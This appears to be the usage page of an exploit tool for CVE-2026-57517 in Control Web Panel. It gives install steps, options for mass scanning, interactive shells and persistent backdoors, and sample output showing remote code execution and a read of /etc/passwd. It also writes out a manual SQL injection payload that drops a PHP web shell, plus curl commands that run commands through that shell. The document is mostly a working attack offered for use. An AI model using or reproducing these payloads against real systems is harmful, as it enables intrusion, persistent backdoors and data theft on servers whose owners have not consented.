CVE-2026-57517

git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt

# Alvo único (detecta usuário automaticamente)
python cve_2026_57517.py -t 192.168.1.100

# Alvo único com nome de usuário conhecido
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc

# Varredura em massa
python cve_2026_57517.py -f targets.txt -o live.txt

# Shell interativo
python cve_2026_57517.py -t target.com --rce -u cwpsvc

# Backdoor persistente (sem limpeza automática)
python cve_2026_57517.py -t target.com --no-cleanup

  -t, --target      Host alvo único
  -f, --file        Arquivo com alvos (um por linha)
  -u, --username    Nome de usuário CWP (ignora detecção automática)
  -o, --output      Arquivo TXT de saída de alvos ativos
  --json            Arquivo de relatório JSON
  --threads         Trabalhadores concorrentes (padrão: 20)
  --timeout         Segundos de timeout da requisição (padrão: 15)
  --no-cleanup      Deixar shells no alvo
  --rce             Modo shell interativo
  -v, --verbose     Saída detalhada

$ python cve_2026_57517.py -f targets.txt -o live.txt -v

────────────────────────────────────────────────────────────
  CVE-2026-57517 | 5 alvos | 20 threads
  Limpeza: sim
  TXT ativos: live.txt
────────────────────────────────────────────────────────────

  ✅ 192.168.10.100:2083  [rce_confirmed]  18.2s
     Usuário  : admin
     Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
     RCE   : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
             cwp-prod-01.example.com
     whoami: cwpsvc

  ⚠️ 192.168.10.200:2083  [sqli_failed]  12.1s
     Usuário  : cwpsvc
     Erro : Injeção SQL falhou — alvo pode estar corrigido ou caminho não gravável

  · 192.168.10.50:2083  [não_é_cwp]  2.3s

==================================================
  RESUMO DA VARREDURA
==================================================
  Total      : 5
  ✅ RCE      : 2
  ⚠️  Falha SQLi : 1
  🔍 Sem Usuário  : 1
  ·  Não é CWP  : 1
==================================================

$ python cve_2026_57517.py -t target.com --rce -u admin

  CWP Shell Interativo — target.com
  Digite 'exit' para sair, 'cleanup' para remover o shell

cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)

cwp$ hostname
cwp-prod-01

cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash

cwp$ exit

curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'

curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = usuário existe

" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #

# A ferramenta lida com a codificação hex automaticamente. Equivalente manual:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'

curl -sk 'https://target.com:2083/admin/' \
  -d "userRes=$PAYLOAD"

<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>

# Codificar em Base64: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)

curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)